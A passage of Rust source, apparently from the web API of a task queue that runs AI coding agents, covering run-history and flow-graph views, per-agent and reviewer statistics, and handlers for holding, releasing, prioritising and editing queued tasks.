5651 _ => format!("It {}.", v.label),
5652 };
5653 format!(
5654 " {cause} {}; pass #{k} resumed the same run.{pass_note}",
5655 capitalise(cost_words)
5656 )
5657 } else if let Some(k) = resumed_later {
5658 let cause = if s.quota.is_empty() {
5665 "the cause was not recorded: a park, a crash or a restart all look the same from here"
5666 } else {
5667 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
5668 };
5669 format!(
5670 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
5671 )
5672 } else if s.parked {
5673 match recorded_end.and_then(|v| v.cause.as_ref()) {
5674 Some(cause) => format!(
5675 " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
5676 cause.label(),
5677 cost_words
5678 ),
5679 None => " Parked at a node boundary; the attempt was handed back and the run resumes."
5680 .to_owned(),
5681 }
5682 } else if !status.done()
5683 || matches!(
5684 status,
5685 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
5686 )
5687 {
5688 String::new()
5689 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5690 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5691 {
5692 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
5693 .to_owned()
5694 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5695 " It left a pull request open, so the task was held for a person rather than retried."
5696 .to_owned()
5697 } else if matches!(status, RunStatus::VerifiedNoop) {
5698 " Held for a person to check the claim.".to_owned()
5699 } else if last {
5700 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
5701 } else {
5702 " It spent an attempt, and the task moved on to the next run.".to_owned()
5703 };
5704 let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
5705 let mut attempt = exit.cost();
5706 let mut exit_label = None;
5707 if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
5708 let spent = match v.cost {
5709 Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
5710 Some(crate::queue::PassCost::Spent) => ", attempt counted",
5711 None if resumed_later.is_some() => ", refund not recorded",
5712 None => ", attempt refunded",
5713 };
5714 attempt = match v.cost {
5715 Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
5716 Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
5717 None if resumed_later.is_some() => AttemptCost::Unknown,
5718 None => attempt,
5719 };
5720 if v.end == "parked" {
5721 exit = RunExit::Parked;
5722 exit_label = Some(match v.cause.as_ref() {
5723 Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
5724 format!("parked for {}{spent}", c.label())
5725 }
5726 Some(c) => format!("parked ({}){spent}", c.label()),
5727 None => format!("parked{spent}"),
5728 });
5729 } else {
5730 exit_label = Some(format!("stopped without a recorded cause{spent}"));
5731 }
5732 }
5733 let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
5734 TaskRunView {
5735 n,
5736 id: id.to_owned(),
5737 short,
5738 kind,
5739 status: Some(status.as_str()),
5740 readable: true,
5741 provisional,
5742 description,
5743 outcome: format!("{head}{why}"),
5744 created_at: Some(s.created_at),
5745 pr: s.pr.as_ref().map(|p| p.url.clone()),
5746 exit,
5747 attempt,
5748 exit_label,
5749 later_pass: resumed_later,
5750 pass_n,
5751 passes_of_run,
5752 pass: view,
5753 branch: branch.map(str::to_owned),
5754 badge: None,
5755 }
5756}
5757
5758fn capitalise(s: &str) -> String {
5759 let mut c = s.chars();
5760 c.next().map_or_else(String::new, |f| {
5761 f.to_uppercase().collect::<String>() + c.as_str()
5762 })
5763}
5764
5765#[derive(Debug, Serialize, PartialEq)]
5767struct FlowNode {
5768 key: String,
5770 kind: &'static str,
5772 label: String,
5773 status: Option<&'static str>,
5776 status_of: &'static str,
5779 note: Option<&'static str>,
5781 run_kind: Option<&'static str>,
5782 detail: Option<String>,
5783 decided: bool,
5785 readable: bool,
5786 href: Option<String>,
5787 badge: Option<String>,
5789 started_at: Option<Timestamp>,
5791 time_expected: bool,
5793}
5794
5795#[derive(Debug, Serialize, PartialEq)]
5796struct FlowEdge {
5797 from: String,
5798 to: String,
5799 label: String,
5800 attempt: AttemptCost,
5801}
5802
5803#[derive(Debug, Serialize, PartialEq)]
5804struct FlowView {
5805 nodes: Vec<FlowNode>,
5806 edges: Vec<FlowEdge>,
5807 attempts: usize,
5809 max_attempts: usize,
5810 passes: usize,
5813 runs: usize,
5814}
5815
5816fn task_flow(
5825 task: &Task,
5826 history: &[TaskRunView],
5827 max_attempts: usize,
5828 origin: Option<&FollowUpOrigin>,
5829) -> FlowView {
5830 let max_attempts = task.effective_attempt_limit(max_attempts);
5831 let node = |key: &str, kind, label: String| FlowNode {
5832 key: key.to_owned(),
5833 kind,
5834 label,
5835 status: None,
5836 status_of: "run",
5837 note: None,
5838 run_kind: None,
5839 detail: None,
5840 decided: false,
5841 readable: true,
5842 href: None,
5843 badge: None,
5844 started_at: None,
5845 time_expected: matches!(kind, "start" | "run" | "end"),
5846 };
5847 let mut nodes = Vec::new();
5848 let mut edges: Vec<FlowEdge> = Vec::new();
5849 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5851 let mut n = node(
5852 "chat",
5853 "chat",
5854 format!("Chat {}", crate::queue::short(&link.id)),
5855 );
5856 n.href = Some(link.href);
5857 nodes.push(n);
5858 edges.push(FlowEdge {
5859 from: "chat".to_owned(),
5860 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5861 label: "queued from chat".to_owned(),
5862 attempt: AttemptCost::None,
5863 });
5864 }
5865 if let Some(o) = origin {
5866 let mut n = match &o.parent {
5867 Some(p) => {
5868 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5869 n.status = Some(p.status);
5870 n.status_of = "task";
5871 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5872 n.href = Some(p.href.clone());
5873 n
5874 }
5875 None => {
5876 let mut n = node(
5877 "origin",
5878 "followup",
5879 format!("Follow-up of run {}", o.run.short),
5880 );
5881 n.detail = Some("merged run".to_owned());
5882 n.status = o.run.status;
5883 n.href = o.run.href.clone();
5884 if o.run.href.is_none() {
5885 n.readable = false;
5886 n.note = Some("unreadable");
5887 }
5888 n
5889 }
5890 };
5891 n.decided = true;
5892 let from = n.key.clone();
5893 nodes.push(n);
5894 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5895 let more = o.findings.len().saturating_sub(shown.len());
5896 let label = match (shown.is_empty(), more) {
5897 (true, _) => "open findings".to_owned(),
5898 (false, 0) => format!("open findings {}", shown.join(", ")),
5899 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5900 };
5901 edges.push(FlowEdge {
5902 from,
5903 to: "start".to_owned(),
5904 label,
5905 attempt: AttemptCost::None,
5906 });
5907 }
5908 let mut start = node("start", "start", "Task queued".to_owned());
5909 start.started_at = Some(task.created_at);
5910 nodes.push(start);
5911 let mut prev = "start".to_owned();
5912 let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5913 for (i, h) in history.iter().enumerate() {
5914 let key = format!("run-{}", h.n);
5915 let mut n = node(&key, "run", format!("Run {}", h.short));
5916 n.started_at = h
5919 .readable
5920 .then(|| {
5921 h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
5922 h.created_at
5923 } else {
5924 None
5925 })
5926 })
5927 .flatten();
5928 n.run_kind = Some(h.kind);
5929 n.readable = h.readable;
5930 n.href = Some(format!("#/runs/{}", h.id));
5931 n.decided = h.readable && !h.provisional;
5932 n.detail = h
5933 .branch
5934 .as_ref()
5935 .map(|b| format!("review-only run of branch {b}"));
5936 match h.exit {
5937 RunExit::Unreadable => n.note = Some("unreadable"),
5938 RunExit::Interrupted => n.note = Some("interrupted"),
5939 RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
5942 _ => {
5943 n.status = h.status;
5944 n.badge = h.badge.clone();
5945 if h.provisional {
5946 n.note = Some("no verdict");
5947 }
5948 }
5949 }
5950 let into = match h.kind {
5951 "review" => Some(format!(
5952 "review-only run of branch {}",
5953 h.branch.as_deref().unwrap_or("?")
5954 )),
5955 "resume" => Some("resume the same run".to_owned()),
5956 _ if i > 0 => Some("retry".to_owned()),
5957 _ => None,
5958 };
5959 let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
5960 let label = match (prev_exit, into) {
5961 (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
5962 (Some((_, l, _)), None) => l,
5963 (None, Some(i)) => i,
5964 (None, None) => "claimed".to_owned(),
5965 };
5966 edges.push(FlowEdge {
5967 from: prev.clone(),
5968 to: key.clone(),
5969 label,
5970 attempt,
5971 });
5972 prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
5973 prev = key;
5974 nodes.push(n);
5975 }
5976 let mut end = node("end", "end", task.status.as_str().to_owned());
5977 end.status = Some(task.status.as_str());
5978 end.status_of = "task";
5979 if task.status == TaskStatus::Held {
5982 end.started_at = task.held_at;
5983 }
5984 nodes.push(end);
5985 let (label, attempt) = match prev_exit {
5986 None => (
5987 format!("no run yet \u{2192} {}", task.status.as_str()),
5988 AttemptCost::None,
5989 ),
5990 Some((e, l, cost)) if e.explains(task.status) => {
5991 (format!("{l} \u{2192} {}", task.status.as_str()), cost)
5992 }
5993 Some((_, _, cost)) => (
5994 format!("closed by hand: task is {}", task.status.as_str()),
5995 cost,
5996 ),
5997 };
5998 edges.push(FlowEdge {
5999 from: prev,
6000 to: "end".to_owned(),
6001 label,
6002 attempt,
6003 });
6004 FlowView {
6005 nodes,
6006 edges,
6007 attempts: task.attempts,
6008 max_attempts,
6009 passes: history.len(),
6010 runs: distinct_runs(&task.runs),
6011 }
6012}
6013
6014fn distinct_runs(runs: &[String]) -> usize {
6016 let mut seen: Vec<&str> = Vec::new();
6017 for r in runs {
6018 if !seen.contains(&r.as_str()) {
6019 seen.push(r);
6020 }
6021 }
6022 seen.len()
6023}
6024
6025fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6027 let mut slots = Vec::new();
6028 let mut seen = Vec::new();
6029 for run_id in &task.runs {
6030 if seen.contains(&run_id) {
6031 continue;
6032 }
6033 seen.push(run_id);
6034 let state = read(run_id);
6035 let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6036 s.passes
6037 .iter()
6038 .filter(|p| {
6039 p.task_entry
6040 || task
6041 .passes
6042 .iter()
6043 .any(|t| t.run == *run_id && t.pass_index == p.index)
6044 })
6045 .cloned()
6046 .collect()
6047 });
6048 let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6049 let total = legacy_count.max(mine.len());
6050 let offset = total - mine.len();
6051 for k in 0..total {
6052 let position = task
6055 .runs
6056 .iter()
6057 .enumerate()
6058 .filter(|(_, r)| *r == run_id)
6059 .nth(k.min(legacy_count - 1))
6060 .unwrap()
6061 .0;
6062 slots.push((
6063 run_id,
6064 state.clone(),
6065 k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6066 position,
6067 ));
6068 }
6069 }
6070 if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6071 slots.sort_by_key(|(_, state, pass, _)| {
6072 pass.as_ref()
6073 .map(|p| p.started_at)
6074 .or_else(|| state.as_ref().map(|s| s.created_at))
6075 .map_or((true, task.created_at), |at| (false, at))
6076 });
6077 } else {
6078 slots.sort_by_key(|(_, _, _, position)| *position);
6079 }
6080 let mut history = Vec::with_capacity(slots.len());
6081 let mut seen: Vec<&str> = Vec::new();
6082 let mut prior: Option<(&str, RunStatus)> = None;
6083 for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6084 let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6085 let resumed = k > 0;
6086 seen.push(run_id);
6087 let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6088 let pass = pass.as_ref();
6089 let settled = pass.and_then(|p| {
6090 task.passes
6091 .iter()
6092 .find(|t| t.run == **run_id && t.pass_index == p.index)
6093 });
6094 history.push(task_run_view(
6095 run_id,
6096 state.as_ref(),
6097 RunSlot {
6098 n: i + 1,
6099 resumed,
6100 resumed_later: slots[i + 1..]
6101 .iter()
6102 .position(|(id, _, _, _)| id == run_id)
6103 .map(|off| i + off + 2),
6104 prior,
6105 last: i + 1 == slots.len(),
6106 pass,
6107 settled,
6108 pass_n: k + 1,
6109 passes_of_run: total,
6110 },
6111 task,
6112 ));
6113 if let Some(s) = &state {
6114 prior = Some((run::short_of(run_id), s.status));
6115 }
6116 }
6117 history
6118}
6119
6120fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6123 if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6124 return;
6125 }
6126 let (_, claimed, _) = run_row_inputs(ui);
6127 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6128 for h in history
6129 .iter_mut()
6130 .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6131 {
6132 let Ok(state) = read_run(&ui.runs, &h.id) else {
6133 continue;
6134 };
6135 if state.status.done() {
6136 continue;
6137 }
6138 let live = state.liveness_with(
6139 claimed.contains(&h.id),
6140 |p| probe.borrow_mut().status(p),
6141 |p| probe.borrow_mut().started_at(p),
6142 );
6143 let waiting = !ui.questions.open_for(&h.id).is_empty();
6144 let display = run_display_status(&state, waiting, live);
6145 let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6146 if matches!(word.as_str(), "stale" | "superseded")
6147 || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6148 {
6149 h.badge = Some(word);
6150 }
6151 }
6152}
6153
6154async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6155 blocking(move || {
6156 let id = resolve_task(&ui.queue, &id)?;
6157 Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6158 })
6159 .await
6160}
6161
6162async fn task_detail(
6163 State(ui): State<Arc<Ui>>,
6164 Path(id): Path<String>,
6165) -> ApiResult<Json<TaskDetailView>> {
6166 blocking(move || {
6167 let id = resolve_task(&ui.queue, &id)?;
6168 let task = ui
6169 .queue
6170 .get(&id)
6171 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6172 let inv = if task.status == TaskStatus::Blocked {
6173 Some(crate::blockers::Inventory::load_for(
6174 &ui.queue,
6175 &ui.questions,
6176 &task,
6177 ))
6178 } else {
6179 None
6180 };
6181 let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6182 mark_badges(&ui, &task, &mut history);
6183 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6184 let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6185 let origin = task.followup.as_ref().map(|fu| {
6186 followup_origin(
6187 fu,
6188 |tid| ui.queue.get(tid).ok(),
6189 |rid| read_run(&ui.runs, rid).ok(),
6190 )
6191 });
6192 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6193 let task_view = match inv.as_ref() {
6194 Some(inv) => TaskView::with_inventory(task, inv),
6195 None => TaskView::from(task),
6196 };
6197 Ok(Json(TaskDetailView {
6198 max_attempts,
6199 flow,
6200 followup_origin: origin,
6201 passes_total: history.len(),
6202 runs_distinct: distinct_runs(&task_view.task.runs),
6203 history,
6204 runs_unreadable,
6205 attempts_note: ATTEMPTS_NOTE,
6206 task: task_view,
6207 }))
6208 })
6209 .await
6210}
6211
6212#[derive(Debug, Serialize)]
6216struct RateView {
6217 pct: f64,
6218 denominator: usize,
6219}
6220
6221impl RateView {
6222 fn of(numerator: usize, denominator: usize) -> Option<Self> {
6223 (denominator > 0).then(|| Self {
6224 pct: 100.0 * numerator as f64 / denominator as f64,
6225 denominator,
6226 })
6227 }
6228}
6229
6230#[derive(Debug, Serialize)]
6235struct StatsTotalsView {
6236 runs: usize,
6237 merged: usize,
6238 ready: usize,
6239 blocked: usize,
6240 failed: usize,
6241 stalled: usize,
6242 verified_noop: usize,
6243 superseded: usize,
6244 in_progress: usize,
6245 completion_rate: Option<RateView>,
6246 tallied: usize,
6247 split: usize,
6248 split_rate: Option<RateView>,
6249 deliberated: usize,
6250 minds_changed: usize,
6251 converged: usize,
6252 review_rounds: usize,
6253}
6254
6255impl From<&stats::Totals> for StatsTotalsView {
6256 fn from(t: &stats::Totals) -> Self {
6257 Self {
6258 runs: t.runs,
6259 merged: t.merged,
6260 ready: t.ready,
6261 blocked: t.blocked,
6262 failed: t.failed,
6263 stalled: t.stalled,
6264 verified_noop: t.verified_noop,
6265 superseded: t.superseded,
6266 in_progress: t.in_progress,
6267 completion_rate: RateView::of(t.merged + t.ready, t.runs),
6268 tallied: t.tallied,
6269 split: t.split,
6270 split_rate: RateView::of(t.split, t.tallied),
6271 deliberated: t.deliberated,
6272 minds_changed: t.minds_changed,
6273 converged: t.converged,
6274 review_rounds: t.review_rounds,
6275 }
6276 }
6277}
6278
6279#[derive(Debug, Serialize)]
6281struct AgentStatsView {
6282 agent: String,
6283 entered: usize,
6284 wins: usize,
6285 empty: usize,
6286 win_rate: Option<RateView>,
6287 competitive_entered: usize,
6288 competitive_wins: usize,
6289 competitive_win_rate: Option<RateView>,
6290 solo_entered: usize,
6291 solo_adopted: usize,
6292 solo_adoption_rate: Option<RateView>,
6293}
6294
6295impl From<&stats::AgentStats> for AgentStatsView {
6296 fn from(a: &stats::AgentStats) -> Self {
6297 Self {
6298 agent: a.agent.clone(),
6299 entered: a.entered,
6300 wins: a.wins,
6301 empty: a.empty,
6302 win_rate: RateView::of(a.wins, a.entered),
6303 competitive_entered: a.competitive_entered,
6304 competitive_wins: a.competitive_wins,
6305 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6306 solo_entered: a.solo_entered,
6307 solo_adopted: a.solo_adopted,
6308 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6309 }
6310 }
6311}
6312
6313#[derive(Debug, Serialize)]
6317struct ReviewerStatsView {
6318 agent: String,
6319 rounds: usize,
6320 seated: usize,
6321 submitted: usize,
6322 adopted: usize,
6323 unique: usize,
6324 timeouts: usize,
6325 adopted_per_round: Option<f64>,
6326 precision: Option<RateView>,
6327 unique_rate: Option<RateView>,
6328 timeout_rate: Option<RateView>,
6329}
6330
6331impl From<&stats::ReviewerStats> for ReviewerStatsView {
6332 fn from(r: &stats::ReviewerStats) -> Self {
6333 Self {
6334 agent: r.agent.clone(),
6335 rounds: r.rounds,
6336 seated: r.seated,
6337 submitted: r.submitted,
6338 adopted: r.adopted,
6339 unique: r.unique,
6340 timeouts: r.timeouts,
6341 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
6342 precision: RateView::of(r.adopted, r.submitted),
6343 unique_rate: RateView::of(r.unique, r.submitted),
6344 timeout_rate: RateView::of(r.timeouts, r.seated),
6345 }
6346 }
6347}
6348
6349#[derive(Debug, Serialize)]
6355struct AdvisorStatsView {
6356 agent: String,
6357 seated: usize,
6358 proposed: usize,
6359 absent: usize,
6360 faint: usize,
6361 strong: usize,
6362 reflection_rate: Option<RateView>,
6363}
6364
6365impl From<&stats::AdvisorStats> for AdvisorStatsView {
6366 fn from(a: &stats::AdvisorStats) -> Self {
6367 Self {
6368 agent: a.agent.clone(),
6369 seated: a.seated,
6370 proposed: a.proposed,
6371 absent: a.absent,
6372 faint: a.faint,
6373 strong: a.strong,
6374 reflection_rate: RateView::of(a.strong, a.proposed),
6375 }
6376 }
6377}
6378
6379#[derive(Debug, Serialize)]
6381struct E2eStatsView {
6382 rounds: usize,
6383 failures: usize,
6384 sole_detections: usize,
6385 deferred: usize,
6386 sole_rate: Option<RateView>,
6387}
6388
6389impl From<&stats::E2eStats> for E2eStatsView {
6390 fn from(e: &stats::E2eStats) -> Self {
6391 Self {
6392 rounds: e.rounds,
6393 failures: e.failures,
6394 sole_detections: e.sole_detections,
6395 deferred: e.deferred,
6396 sole_rate: RateView::of(e.sole_detections, e.failures),
6397 }
6398 }
6399}
6400
6401#[derive(Debug, Serialize)]
6409struct ReleaseBumpStatsView {
6410 merged: usize,
6411 recorded: usize,
6412 pr_opened: usize,
6413 automerge_enabled: usize,
6414 merged_directly: usize,
6415 needs_attention: usize,
6416 clean: usize,
6417 coverage_rate: Option<RateView>,
6418 automerge_rate: Option<RateView>,
6419 attention_rate: Option<RateView>,
6420}
6421
6422impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
6423 fn from(b: &stats::ReleaseBumpStats) -> Self {
6424 Self {
6425 merged: b.merged,
6426 recorded: b.recorded,
6427 pr_opened: b.pr_opened,
6428 automerge_enabled: b.automerge_enabled,
6429 merged_directly: b.merged_directly,
6430 needs_attention: b.needs_attention,
6431 clean: b.clean(),
6432 coverage_rate: RateView::of(b.recorded, b.merged),
6433 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
6434 attention_rate: RateView::of(b.needs_attention, b.recorded),
6435 }
6436 }
6437}
6438
6439#[derive(Debug, Serialize)]
6441struct TaskCountsView {
6442 queued: usize,
6443 running: usize,
6444 done: usize,
6445 failed: usize,
6446 held: usize,
6447 blocked: usize,
6448 parked: usize,
6449}
6450
6451impl From<crate::queue::TaskCounts> for TaskCountsView {
6452 fn from(c: crate::queue::TaskCounts) -> Self {
6453 Self {
6454 queued: c.queued,
6455 running: c.running,
6456 done: c.done,
6457 failed: c.failed,
6458 held: c.held,
6459 blocked: c.blocked,
6460 parked: c.parked,
6461 }
6462 }
6463}
6464
6465#[derive(Debug, Serialize)]
6471struct RepoSummaryView {
6472 repo: String,
6475 name: String,
6477 runs: usize,
6478 completion_rate: Option<RateView>,
6479}
6480
6481impl From<&stats::RepoStats> for RepoSummaryView {
6482 fn from(r: &stats::RepoStats) -> Self {
6483 let t = &r.stats.totals;
6484 Self {
6485 repo: r.repo.to_string_lossy().into_owned(),
6486 name: r.name.clone(),
6487 runs: t.runs,
6488 completion_rate: RateView::of(t.merged + t.ready, t.runs),
6489 }
6490 }
6491}
6492
6493#[derive(Debug, Serialize)]
6499struct StatsView {
6500 totals: StatsTotalsView,
6501 agents: Vec<AgentStatsView>,
6503 reviewers: Vec<ReviewerStatsView>,
6505 advisors: Vec<AdvisorStatsView>,
6507 e2e: E2eStatsView,
6508 release_bumps: ReleaseBumpStatsView,
6509 queue: Option<TaskCountsView>,
6510 runs_unreadable: usize,
6520 repos: Vec<RepoSummaryView>,
6524 daily: Vec<DailyStatsView>,
6529 repo: Option<String>,
6533 retired_hidden: Vec<String>,
6537}
6538
6539#[derive(Debug, Serialize)]
6541struct DailyStatsView {
6542 date: String,
6544 runs: usize,
6545 merged: usize,
6546 ready: usize,
6547 other: usize,
6548 completion_rate: Option<RateView>,
6550}
6551
6552impl From<&stats::DayBucket> for DailyStatsView {
6553 fn from(b: &stats::DayBucket) -> Self {
6554 Self {
6555 date: b.date.to_string(),
6556 runs: b.runs,
6557 merged: b.merged,
6558 ready: b.ready,
6559 other: b.other,
6560 completion_rate: RateView::of(b.merged + b.ready, b.runs),
6561 }
6562 }
6563}
6564
6565const STATS_DAILY_DAYS: usize = 30;
6567
6568#[derive(Debug, Default, Deserialize)]
6577#[serde(default)]
6578struct StatsQuery {
6579 repo: Option<String>,
6580 all: bool,
6582 runs_only: bool,
6584}
6585
6586async fn stats_get(
6593 State(ui): State<Arc<Ui>>,
6594 Query(q): Query<StatsQuery>,
6595) -> ApiResult<Json<StatsView>> {
6596 blocking(move || {
6597 let states: Vec<RunState> = run_ids(&ui.runs)
6598 .into_iter()
6599 .filter_map(|id| read_run(&ui.runs, &id).ok())
6600 .collect();
6601 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
6602 .iter()
6603 .map(RepoSummaryView::from)
6604 .collect();
6605 let mut scoped: Vec<&RunState> = states.iter().collect();
6606 let mut collected = match &q.repo {
6607 Some(repo) => {
6608 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
6609 if filtered.is_empty() {
6610 return Err(ApiError::not_found(format!(
6611 "no runs recorded against repo `{repo}`"
6612 )));
6613 }
6614 scoped = filtered.clone();
6615 stats::collect_refs(filtered)
6616 }
6617 None => stats::collect(&states),
6618 };
6619 if !q.all {
6620 let repo = q
6621 .repo
6622 .as_deref()
6623 .map_or_else(|| ui.repo.clone(), PathBuf::from);
6624 stats::retain_current_roster(&mut collected, &repo);
6625 }
6626 let daily = stats::daily(
6627 scoped,
6628 jiff::Zoned::now().date(),
6629 &jiff::tz::TimeZone::system(),
6630 STATS_DAILY_DAYS,
6631 );
6632 let queue_counts = (!q.runs_only)
6633 .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
6634 Ok(Json(StatsView {
6635 totals: StatsTotalsView::from(&collected.totals),
6636 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
6637 reviewers: collected
6638 .reviewers
6639 .iter()
6640 .map(ReviewerStatsView::from)
6641 .collect(),
6642 advisors: collected
6643 .advisors
6644 .iter()
6645 .map(AdvisorStatsView::from)
6646 .collect(),
6647 e2e: E2eStatsView::from(&collected.e2e),
6648 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
6649 queue: queue_counts,
6650 runs_unreadable: runs_unreadable(&ui.runs),
6651 repos,
6652 daily: daily.iter().map(DailyStatsView::from).collect(),
6653 repo: q.repo.clone(),
6654 retired_hidden: collected.retired_hidden.clone(),
6655 }))
6656 })
6657 .await
6658}
6659
6660#[derive(Debug, Default, Deserialize)]
6663#[serde(default, deny_unknown_fields)]
6664struct HoldBody {
6665 reason: Option<String>,
6666}
6667
6668async fn queue_hold(
6669 State(ui): State<Arc<Ui>>,
6670 Path(id): Path<String>,
6671 body: std::result::Result<Json<HoldBody>, JsonRejection>,
6672) -> ApiResult<Json<TaskView>> {
6673 let body = match body {
6677 Ok(Json(body)) => body,
6678 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
6679 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6680 };
6681 let reason = body.reason.filter(|r| !r.trim().is_empty());
6682 mutate(ui, id, move |t| {
6683 t.hold_manual(reason.clone());
6684 Ok(())
6685 })
6686 .await
6687}
6688
6689async fn queue_release(
6690 State(ui): State<Arc<Ui>>,
6691 Path(id): Path<String>,
6692) -> ApiResult<Json<TaskView>> {
6693 mutate(ui, id, |t| {
6694 t.release_operator("web", None);
6695 Ok(())
6696 })
6697 .await
6698}
6699
6700#[derive(Debug, Deserialize)]
6701#[serde(deny_unknown_fields)]
6702struct AttemptLimitBody {
6703 attempt_limit: serde_json::Value,
6705}
6706
6707async fn queue_attempt_limit(
6708 State(ui): State<Arc<Ui>>,
6709 Path(id): Path<String>,
6710 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
6711) -> ApiResult<Json<TaskView>> {
6712 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6713 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
6714 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
6715 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
6716}
6717
6718#[derive(Debug, Deserialize)]
6719#[serde(deny_unknown_fields)]
6720struct ImplementersBody {
6721 implementers: u8,
6722}
6723
6724async fn queue_implementers(
6725 State(ui): State<Arc<Ui>>,
6726 Path(id): Path<String>,
6727 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
6728) -> ApiResult<Json<TaskView>> {
6729 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6730 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
6731}
6732
6733#[derive(Debug, Deserialize)]
6734#[serde(deny_unknown_fields)]
6735struct UrgentBody {
6736 urgent: bool,
6737}
6738
6739async fn queue_urgent(
6740 State(ui): State<Arc<Ui>>,
6741 Path(id): Path<String>,
6742 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
6743) -> ApiResult<Json<TaskView>> {
6744 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6745 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
6746}
6747
6748#[derive(Debug, Deserialize)]
6750#[serde(deny_unknown_fields)]
6751struct PriorityBody {
6752 priority: i32,
6753}
6754
6755async fn queue_priority(
6761 State(ui): State<Arc<Ui>>,
6762 Path(id): Path<String>,
6763 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
6764) -> ApiResult<Json<TaskView>> {
6765 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6766 mutate(ui, id, move |t| t.set_priority(body.priority)).await
6767}
6768
6769#[derive(Debug, Deserialize)]
6771#[serde(deny_unknown_fields)]
6772struct EditBody {
6773 title: String,
6774 instruction: String,
6775 #[serde(default)]
6778 force: bool,
6779}
6780
6781async fn queue_edit(
6785 State(ui): State<Arc<Ui>>,
6786 Path(id): Path<String>,
6787 body: std::result::Result<Json<EditBody>, JsonRejection>,
6788) -> ApiResult<Json<TaskView>> {
6789 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6790 let mut judged: Option<(String, PathBuf)> = None;
6794 if !body.force {
6795 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
6796 let (id, text) = (id.clone(), body.instruction.clone());
6797 let (seen, hits) = blocking(move || {
6798 let id = resolve_task(&queue, &id)?;
6799 let t = queue.get(&id)?;
6800 if text == t.instruction {
6801 return Ok((None, Vec::new()));
6802 }
6803 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6804 Ok((Some((t.instruction, t.repo)), hits))
6805 })
6806 .await?;
6807 if let Some((_, repo)) = &seen {
